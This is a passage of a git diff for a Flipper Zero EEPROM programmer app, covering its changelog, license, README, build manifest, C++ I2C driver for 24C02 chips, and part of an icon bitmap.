||||
- Settings → Chip Type now immediately reallocates buffers
|
||||
- Current address is reset to 0 if it exceeds new chip size after type change
|
||||
- File load operation respects maximum chip capacity (won't load more than chip can hold)
|
||||
|
||||
### 📋 Supported Chip Types
|
||||
|
||||
Complete support matrix:
|
||||
| Chip Type | Size | Status |
|
||||
|-----------|------|--------|
|
||||
| 24C01 | 128 bytes | ✅ Full Support |
|
||||
| 24C02 | 256 bytes | ✅ Full Support |
|
||||
| 24C04 | 512 bytes | ✅ Full Support |
|
||||
| 24C08 | 1 KB | ✅ Full Support |
|
||||
| 24C16 | 2 KB | ✅ Full Support |
|
||||
| 24C32 | 4 KB | ✅ Full Support |
|
||||
| 24C64 | 8 KB | ✅ Full Support |
|
||||
| 24C128 | 16 KB | ✅ Full Support |
|
||||
| 24C256 | 32 KB | ✅ Full Support |
|
||||
| 24C512 | 64 KB | ✅ Full Support |
|
||||
|
||||
### ⚠️ Breaking Changes
|
||||
- Binary dump files from previous versions (always 256 bytes) are incompatible with chip-specific sizes
|
||||
- Users should re-read and save new dumps after upgrading
|
||||
|
||||
---
|
||||
|
||||
## [1.0.0] - Previous Version
|
||||
|
||||
### Initial Release
|
||||
- Basic read/write/erase operations
|
||||
- Fixed 256-byte buffer (24C02 only)
|
||||
- I2C address configuration
|
||||
- File load/save operations
|
||||
- Basic hex viewer
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Dr.Mosfet
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,222 @@
|
||||
# 🔧 24cxxprog - EEPROM 24Cxx Programmer
|
||||
|
||||
<h2 align="center">A Comprehensive EEPROM Programmer for Flipper Zero</h2>
|
||||
|
||||
<div align="center">
|
||||
<table style="width:100%; border:none;">
|
||||
<tr style="border:none;">
|
||||
<td style="border:none; padding:10px;">
|
||||
<img src="screenshots/1.png" alt="Main Menu - Operations" style="width:100%;">
|
||||
<br>
|
||||
<em>Menu główne z operacjami (Odczyt, Zapis, Kasowanie)</em>
|
||||
</td>
|
||||
<td style="border:none; padding:10px;">
|
||||
<img src="screenshots/2.png" alt="Configuration Menu" style="width:100%;">
|
||||
<br>
|
||||
<em>Menu konfiguracji (Adres I2C, Rozmiar pamięci)</em>
|
||||
</td>
|
||||
<td style="border:none; padding:10px;">
|
||||
<img src="screenshots/3.png" alt="Data Display - EEPROM Contents" style="width:100%;">
|
||||
<br>
|
||||
<em>Wyświetlanie zawartości EEPROM (Dane heksadecymalne)</em>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
---
|
||||
|
||||
This is a **comprehensive EEPROM programmer application** designed for the **Flipper Zero** that interfaces with the **24Cxx series I2C memory chips**. The application provides a complete suite of tools for reading, writing, erasing, and managing EEPROM memory with a user-friendly interface on the Flipper's screen.
|
||||
|
||||
## ✨ Features Overview
|
||||
|
||||
### 📝 EEPROM Operations
|
||||
|
||||
Complete toolset for memory management:
|
||||
|
||||
* **Read Operations:** View complete EEPROM contents with address and hexadecimal data display.
|
||||
* **Write Operations:** Program custom data into specific memory addresses.
|
||||
* **Erase Functions:** Clear individual bytes, pages, or entire memory sections.
|
||||
* **Dump to Storage:** Export EEPROM contents to Flipper SD card for backup and analysis.
|
||||
* **Restore from Backup:** Load previously saved EEPROM data back into the chip.
|
||||
|
||||
### 🎨 User Interface & Experience
|
||||
|
||||
Intuitive interface optimized for Flipper Zero's display:
|
||||
|
||||
* **Main Menu:** Clear operation selection with visual feedback.
|
||||
* **Data Viewer:** Scrollable hex display showing actual EEPROM contents.
|
||||
* **Configuration Menu:** Easy access to sensor parameters and device settings.
|
||||
* **Address Navigation:** Precise control over memory location selection.
|
||||
* **Progress Indicator:** Real-time feedback during long operations.
|
||||
|
||||
### ⚙️ Configuration Options
|
||||
|
||||
Customize the programmer for your specific hardware:
|
||||
|
||||
* **I2C Address Selection:** Choose between multiple I2C addresses (**0x50-0x57**) for different chip variants.
|
||||
* **Memory Size Selection:** Automatically detect or manually set chip capacity (**1KB to 64KB** and larger).
|
||||
* **Page Size Configuration:** Adapt to different chip architectures (**8 bytes to 256 bytes per page**).
|
||||
* **Persistent Settings:** Configurations are automatically saved for quick access.
|
||||
|
||||
### 💻 Technical Features & Robustness
|
||||
|
||||
Built for reliability on the Flipper Zero platform:
|
||||
|
||||
* **I2C Protocol Support:** Robust communication with error checking.
|
||||
* **Address Validation:** Prevents out-of-bounds memory access.
|
||||
* **Timeout Protection:** Safeguards against communication errors.
|
||||
* **Error Handling:** Comprehensive error messages for troubleshooting.
|
||||
* **Non-blocking Operations:** Responsive UI that doesn't freeze during I2C transactions.
|
||||
* **Data Verification:** Verify written data integrity after programming.
|
||||
|
||||
## 🔋 Supported 24Cxx Chips
|
||||
|
||||
Comprehensive support for the entire 24Cxx family:
|
||||
|
||||
<table style="width:100%; border:1px solid #ddd; border-collapse: collapse; text-align: left;">
|
||||
<thead style="background-color: #f8f8f8;">
|
||||
<tr>
|
||||
<th style="padding: 8px; border:1px solid #ddd;">Chip Model</th>
|
||||
<th style="padding: 8px; border:1px solid #ddd;">Memory Size</th>
|
||||
<th style="padding: 8px; border:1px solid #ddd;">Page Size</th>
|
||||
<th style="padding: 8px; border:1px solid #ddd;">Address Range</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C01</strong></td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">128 Bytes</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">8 Bytes</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">0x00 - 0x7F</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C02</strong></td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">256 Bytes</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">8 Bytes</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">0x00 - 0xFF</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C04 - 24C16</strong></td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">512B - 2KB</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">16 Bytes</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">0x00 - 0xFFFF</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C32 - 24C64</strong></td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">4KB - 8KB</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">32 Bytes</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">0x0000 - 0x1FFF</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="padding: 8px; border:1px solid #ddd;"><strong>24C128 - 24C512</strong></td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">16KB - 64KB</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">64 Bytes</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">0x0000 - 0xFFFF</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
---
|
||||
|
||||
## 🕹️ Navigation Guide
|
||||
|
||||
<table style="width:100%; border:1px solid #ddd; border-collapse: collapse; text-align: left;">
|
||||
<thead style="background-color: #f8f8f8;">
|
||||
<tr>
|
||||
<th style="padding: 8px; border:1px solid #ddd;">Screen</th>
|
||||
<th style="padding: 8px; border:1px solid #ddd;">D-Pad Up/Down</th>
|
||||
<th style="padding: 8px; border:1px solid #ddd;">D-Pad Left/Right</th>
|
||||
<th style="padding: 8px; border:1px solid #ddd;">OK Button</th>
|
||||
<th style="padding: 8px; border:1px solid #ddd;">Back Button</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td style="padding: 8px; border:1px solid #ddd;"><strong>Main Menu</strong></td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Browse operations (Read, Write, Erase, Dump, Restore)</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">-</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Select operation</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;"><strong>Exit</strong> application</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="padding: 8px; border:1px solid #ddd;"><strong>Read/Write</strong></td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Navigate through addresses</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Adjust byte values (Write mode)</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Confirm operation</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Return to Main Menu</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="padding: 8px; border:1px solid #ddd;"><strong>Configuration</strong></td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Navigate between settings</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Adjust parameter values</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Apply settings</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Cancel and return</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="padding: 8px; border:1px solid #ddd;"><strong>Data View</strong></td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Scroll data up/down</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Jump to address</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Show hex/ASCII toggle</td>
|
||||
<td style="padding: 8px; border:1px solid #ddd;">Exit data view</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
## 🔌 Hardware Connections
|
||||
|
||||
Standard I2C pinout for Flipper Zero GPIO:
|
||||
|
||||
```
|
||||
24Cxx EEPROM Module Flipper Zero GPIO
|
||||
───────────────── ─────────────────
|
||||
SDA (Pin 5) ───→ GPIO_SDA (Pin 16)
|
||||
SCL (Pin 6) ───→ GPIO_SCL (Pin 15)
|
||||
GND (Pin 4) ───→ GND (Pin 8)
|
||||
VCC (Pin 8) ───→ 3.3V (Pin 9)
|
||||
|
||||
Optional Pull-ups: 4.7kΩ from SDA and SCL to 3.3V
|
||||
```
|
||||
|
||||
## 📋 Operation Details
|
||||
|
||||
### Read
|
||||
- Displays EEPROM contents in hexadecimal format
|
||||
- Shows address, data bytes, and ASCII representation
|
||||
- Scrollable for chips larger than display capacity
|
||||
|
||||
### Write
|
||||
- Enter target address and data values
|
||||
- Supports single byte or page programming
|
||||
- Automatic write cycle delay handling
|
||||
|
||||
### Erase
|
||||
- Clear individual bytes to 0xFF
|
||||
- Erase entire pages
|
||||
- Full chip erase with confirmation
|
||||
|
||||
### Dump
|
||||
- Export EEPROM to **`/ext/apps_data/24cxxprog/`** directory
|
||||
- Creates timestamped backup files
|
||||
- Preserves complete memory state
|
||||
|
||||
### Restore
|
||||
- Load previously dumped EEPROM data
|
||||
- Verify before writing
|
||||
- Restore to specified starting address
|
||||
|
||||
---
|
||||
|
||||
## 👨💻 Developer
|
||||
|
||||
This application was created by **Dr. Mosfet** for the Flipper Zero community.
|
||||
|
||||
**Repository:** [kamylwnb/24cxxprog](https://github.com/kamylwnb/24cxxprog)
|
||||
|
||||
**Version:** 1.0
|
||||
**Category:** GPIO / Tools
|
||||
**Platform:** Flipper Zero F7
|
||||
|
||||
---
|
||||
|
||||
**Happy EEPROM programming! 🔧**
|
||||
@@ -0,0 +1,22 @@
|
||||
App(
|
||||
appid="24cxxprog",
|
||||
name="24Cxx Programmer",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="eeprom_app_24cxx",
|
||||
cdefines=["APP_24CXXPROG"],
|
||||
requires=[
|
||||
"gui",
|
||||
"i2c",
|
||||
],
|
||||
sources=[
|
||||
"i2c_24c02_app.cpp",
|
||||
"i2c_24c02.cpp",
|
||||
],
|
||||
stack_size=2 * 1024,
|
||||
order=21,
|
||||
fap_icon="icons/ikon.png",
|
||||
fap_category="GPIO",
|
||||
fap_author="@Dr.Mosfet",
|
||||
fap_version="2.0",
|
||||
fap_description="EEPROM 24Cxx programmer via I2C with read, write, erase and dump/restore options.",
|
||||
)
|
||||
@@ -0,0 +1,212 @@
|
||||
#include "i2c_24c02.hpp"
|
||||
#include "furi_hal_i2c.h"
|
||||
#include <furi.h>
|
||||
|
||||
EEPROM24C02::EEPROM24C02(uint8_t i2c_address_7bit)
|
||||
: _i2c_addr_8bit(i2c_address_7bit << 1) {
|
||||
}
|
||||
|
||||
bool EEPROM24C02::init() {
|
||||
// Just check if device is responding
|
||||
return isAvailable();
|
||||
}
|
||||
|
||||
bool EEPROM24C02::isAvailable() {
|
||||
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
|
||||
|
||||
// Try to read a dummy byte to check if device responds
|
||||
uint8_t dummy_data;
|
||||
bool success = furi_hal_i2c_rx(
|
||||
&furi_hal_i2c_handle_external, _i2c_addr_8bit, &dummy_data, 1, EEPROM_I2C_TIMEOUT);
|
||||
|
||||
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
bool EEPROM24C02::readByte(uint8_t memory_addr, uint8_t& data) {
|
||||
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
|
||||
|
||||
// Send memory address first
|
||||
bool success_tx = furi_hal_i2c_tx_ext(
|
||||
&furi_hal_i2c_handle_external,
|
||||
_i2c_addr_8bit,
|
||||
false,
|
||||
&memory_addr,
|
||||
1,
|
||||
FuriHalI2cBeginStart,
|
||||
FuriHalI2cEndAwaitRestart,
|
||||
EEPROM_I2C_TIMEOUT);
|
||||
|
||||
// Read the data
|
||||
bool success_rx = false;
|
||||
if(success_tx) {
|
||||
success_rx = furi_hal_i2c_rx_ext(
|
||||
&furi_hal_i2c_handle_external,
|
||||
_i2c_addr_8bit,
|
||||
false,
|
||||
&data,
|
||||
1,
|
||||
FuriHalI2cBeginRestart,
|
||||
FuriHalI2cEndStop,
|
||||
EEPROM_I2C_TIMEOUT);
|
||||
}
|
||||
|
||||
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
|
||||
|
||||
return success_tx && success_rx;
|
||||
}
|
||||
|
||||
bool EEPROM24C02::writeByte(uint8_t memory_addr, uint8_t data) {
|
||||
uint8_t write_buffer[2];
|
||||
write_buffer[0] = memory_addr;
|
||||
write_buffer[1] = data;
|
||||
|
||||
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
|
||||
|
||||
bool success = furi_hal_i2c_tx_ext(
|
||||
&furi_hal_i2c_handle_external,
|
||||
_i2c_addr_8bit,
|
||||
false,
|
||||
write_buffer,
|
||||
2,
|
||||
FuriHalI2cBeginStart,
|
||||
FuriHalI2cEndStop,
|
||||
EEPROM_I2C_TIMEOUT);
|
||||
|
||||
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
|
||||
|
||||
if(success) {
|
||||
// Wait for write cycle to complete (typically 5ms for 24C02)
|
||||
furi_delay_ms(10);
|
||||
}
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
bool EEPROM24C02::readBytes(uint8_t start_addr, uint8_t* buffer, uint8_t length) {
|
||||
if(length == 0 || buffer == nullptr) return false;
|
||||
|
||||
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
|
||||
|
||||
// Send start address
|
||||
bool success_tx = furi_hal_i2c_tx_ext(
|
||||
&furi_hal_i2c_handle_external,
|
||||
_i2c_addr_8bit,
|
||||
false,
|
||||
&start_addr,
|
||||
1,
|
||||
FuriHalI2cBeginStart,
|
||||
FuriHalI2cEndAwaitRestart,
|
||||
EEPROM_I2C_TIMEOUT);
|
||||
|
||||
// Sequential read
|
||||
bool success_rx = false;
|
||||
if(success_tx) {
|
||||
success_rx = furi_hal_i2c_rx_ext(
|
||||
&furi_hal_i2c_handle_external,
|
||||
_i2c_addr_8bit,
|
||||
false,
|
||||
buffer,
|
||||
length,
|
||||
FuriHalI2cBeginRestart,
|
||||
FuriHalI2cEndStop,
|
||||
EEPROM_I2C_TIMEOUT);
|
||||
}
|
||||
|
||||
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
|
||||
|
||||
return success_tx && success_rx;
|
||||
}
|
||||
|
||||
bool EEPROM24C02::writeBytes(uint8_t start_addr, const uint8_t* buffer, uint8_t length) {
|
||||
if(length == 0 || buffer == nullptr) return false;
|
||||
|
||||
// 24C02 has 8-byte page size - we need to handle page boundaries
|
||||
uint8_t bytes_written = 0;
|
||||
|
||||
while(bytes_written < length) {
|
||||
uint8_t current_addr = start_addr + bytes_written;
|
||||
uint8_t page_offset = current_addr % EEPROM_24C02_PAGE_SIZE;
|
||||
uint8_t bytes_in_page = EEPROM_24C02_PAGE_SIZE - page_offset;
|
||||
uint8_t bytes_to_write =
|
||||
(length - bytes_written < bytes_in_page) ? (length - bytes_written) : bytes_in_page;
|
||||
|
||||
// Prepare write buffer for this page
|
||||
uint8_t write_buffer[EEPROM_24C02_PAGE_SIZE + 1]; // +1 for address
|
||||
write_buffer[0] = start_addr + bytes_written;
|
||||
|
||||
for(uint8_t i = 0; i < bytes_to_write; i++) {
|
||||
write_buffer[i + 1] = buffer[bytes_written + i];
|
||||
}
|
||||
|
||||
furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
|
||||
|
||||
bool success = furi_hal_i2c_tx_ext(
|
||||
&furi_hal_i2c_handle_external,
|
||||
_i2c_addr_8bit,
|
||||
false,
|
||||
write_buffer,
|
||||
bytes_to_write + 1,
|
||||
FuriHalI2cBeginStart,
|
||||
FuriHalI2cEndStop,
|
||||
EEPROM_I2C_TIMEOUT);
|
||||
|
||||
furi_hal_i2c_release(&furi_hal_i2c_handle_external);
|
||||
|
||||
if(!success) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Wait for write cycle to complete
|
||||
furi_delay_ms(10);
|
||||
|
||||
bytes_written += bytes_to_write;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool EEPROM24C02::eraseAll() {
|
||||
// Fill entire memory with 0xFF
|
||||
uint8_t erase_buffer[EEPROM_24C02_PAGE_SIZE];
|
||||
for(uint8_t i = 0; i < EEPROM_24C02_PAGE_SIZE; i++) {
|
||||
erase_buffer[i] = 0xFF;
|
||||
}
|
||||
|
||||
// Erase page by page
|
||||
for(uint8_t page = 0; page < EEPROM_24C02_SIZE / EEPROM_24C02_PAGE_SIZE; page++) {
|
||||
uint8_t start_addr = page * EEPROM_24C02_PAGE_SIZE;
|
||||
if(!writeBytes(start_addr, erase_buffer, EEPROM_24C02_PAGE_SIZE)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool EEPROM24C02::eraseRange(uint8_t start_addr, uint8_t length) {
|
||||
if(length == 0) return false;
|
||||
|
||||
// Check if range goes beyond memory
|
||||
uint16_t end_addr = (uint16_t)start_addr + length;
|
||||
if(end_addr > EEPROM_24C02_SIZE) {
|
||||
length = EEPROM_24C02_SIZE - start_addr;
|
||||
}
|
||||
|
||||
// Fill range with 0xFF
|
||||
uint8_t erase_buffer[EEPROM_24C02_PAGE_SIZE];
|
||||
for(uint8_t i = 0; i < EEPROM_24C02_PAGE_SIZE; i++) {
|
||||
erase_buffer[i] = 0xFF;
|
||||
}
|
||||
|
||||
return writeBytes(start_addr, erase_buffer, length);
|
||||
}
|
||||
|
||||
void EEPROM24C02::setAddress(uint8_t i2c_address_7bit) {
|
||||
_i2c_addr_8bit = i2c_address_7bit << 1;
|
||||
}
|
||||
|
||||
uint8_t EEPROM24C02::getAddress() {
|
||||
return _i2c_addr_8bit >> 1;
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
// 24C02 EEPROM I2C addresses (7-bit)
|
||||
// Standard addresses: 0x50-0x57 (A0-A2 pins)
|
||||
#define EEPROM_24C02_BASE_ADDR 0x50
|
||||
#define EEPROM_24C02_MAX_ADDR 0x57
|
||||
|
||||
// Memory size for 24C02
|
||||
#define EEPROM_24C02_SIZE 256 // 2KB = 2048 bits = 256 bytes
|
||||
#define EEPROM_24C02_PAGE_SIZE 8 // Page write size
|
||||
|
||||
// I2C operation timeout
|
||||
#define EEPROM_I2C_TIMEOUT 100
|
||||
|
||||
class EEPROM24C02 {
|
||||
private:
|
||||
uint8_t _i2c_addr_8bit;
|
||||
|
||||
public:
|
||||
EEPROM24C02(uint8_t i2c_address_7bit);
|
||||
|
||||
// Initialize communication with EEPROM
|
||||
bool init();
|
||||
|
||||
// Read single byte from address
|
||||
bool readByte(uint8_t memory_addr, uint8_t& data);
|
||||
|
||||
// Write single byte to address
|
||||
bool writeByte(uint8_t memory_addr, uint8_t data);
|
||||
|
||||
// Read multiple bytes (sequential read)
|
||||
bool readBytes(uint8_t start_addr, uint8_t* buffer, uint8_t length);
|
||||
|
||||
// Write multiple bytes (page write)
|
||||
bool writeBytes(uint8_t start_addr, const uint8_t* buffer, uint8_t length);
|
||||
|
||||
// Erase entire memory (fill with 0xFF)
|
||||
bool eraseAll();
|
||||
|
||||
// Erase range of bytes
|
||||
bool eraseRange(uint8_t start_addr, uint8_t length);
|
||||
|
||||
// Check if EEPROM is responding
|
||||
bool isAvailable();
|
||||
|
||||
// Set I2C address
|
||||
void setAddress(uint8_t i2c_address_7bit);
|
||||
|
||||
// Get current I2C address
|
||||
uint8_t getAddress();
|
||||
};
|
||||
@@ -0,0 +1,81 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/canvas.h>
|
||||
|
||||
static const uint8_t image_DolphinMafia_0_bits[] = {
|
||||
0x00, 0x00, 0x00, 0x00, 0xf0, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x0e, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0xe0, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xfe, 0x7f, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x55,
|
||||
0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xae, 0xaa, 0x00,
|
||||
0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x55, 0x55, 0x15, 0x00,
|
||||
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xaa, 0x2a, 0x00, 0x00, 0x04,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x55, 0x55, 0x55, 0x00, 0x08, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x08, 0xff, 0x3f,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x55, 0x55, 0x55, 0x00, 0xf8, 0x00, 0xc0, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x55, 0x55, 0x55, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x20, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x60, 0xd5, 0xff, 0xff, 0x3f, 0x20, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0xa0, 0xfa, 0xff, 0xff, 0xff, 0xff, 0x03, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x60, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0xe0, 0xff, 0xff, 0xbf, 0xaa, 0xaa, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0,
|
||||
0xff, 0xff, 0x57, 0x55, 0x55, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff,
|
||||
0xff, 0xaa, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x5f,
|
||||
0x15, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0xaf, 0x02,
|
||||
0xf8, 0x0f, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x55, 0x01, 0xff,
|
||||
0x1f, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0x2a, 0xc0, 0x0f, 0xf8,
|
||||
0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x5f, 0x15, 0xf0, 0x0f, 0xf8, 0x0f,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xf8, 0xff, 0xaf, 0x02, 0xf8, 0x0f, 0x1c, 0x0e, 0x1f,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xfc, 0xff, 0x57, 0x15, 0xf8, 0x1f, 0x1e, 0xfe, 0x60, 0x00,
|
||||
0x00, 0x00, 0xd6, 0x00, 0x50, 0xfe, 0xff, 0xab, 0xff, 0xff, 0xff, 0x0f, 0x0f, 0x80, 0x00, 0x00,
|
||||
0x80, 0x01, 0xc8, 0x4e, 0xfe, 0xff, 0xf5, 0x17, 0xf0, 0xff, 0xcf, 0x00, 0x00, 0x01, 0x00, 0x40,
|
||||
0x00, 0x00, 0x20, 0xff, 0xff, 0xfb, 0x00, 0xe0, 0xff, 0x07, 0x00, 0x60, 0x01, 0x00, 0x20, 0x00,
|
||||
0x00, 0x18, 0xff, 0xff, 0x5d, 0x05, 0xc0, 0xff, 0x03, 0x00, 0x70, 0xe1, 0x07, 0xa0, 0xa3, 0xb0,
|
||||
0x06, 0xff, 0xff, 0xaa, 0x00, 0x80, 0xff, 0x01, 0x00, 0xfc, 0x01, 0x00, 0x60, 0x00, 0x00, 0x00,
|
||||
0xff, 0xff, 0x5d, 0x05, 0xc0, 0x7f, 0x00, 0x00, 0xb3, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0xfe,
|
||||
0xff, 0xae, 0x00, 0x20, 0x60, 0x00, 0xc0, 0x80, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x9f,
|
||||
0x55, 0x05, 0x10, 0x40, 0x00, 0x30, 0x80, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x80, 0xaa,
|
||||
0x00, 0x10, 0x00, 0x00, 0x0c, 0x80, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x80, 0x55, 0x05,
|
||||
0x00, 0x00, 0x00, 0x03, 0x40, 0x00, 0x80, 0x10, 0x00, 0x00, 0x00, 0x00, 0x80, 0xaa, 0x00, 0x00,
|
||||
0x02, 0x80, 0x00, 0x20, 0x00, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x05, 0x00, 0x02,
|
||||
0x60, 0x00, 0x10, 0x00, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0xab, 0x00, 0x00, 0x0c, 0x18,
|
||||
0x00, 0x0c, 0x00, 0x20, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x15, 0x00, 0xf0, 0x07, 0x00,
|
||||
0x03, 0xc0, 0x11, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0xab, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00,
|
||||
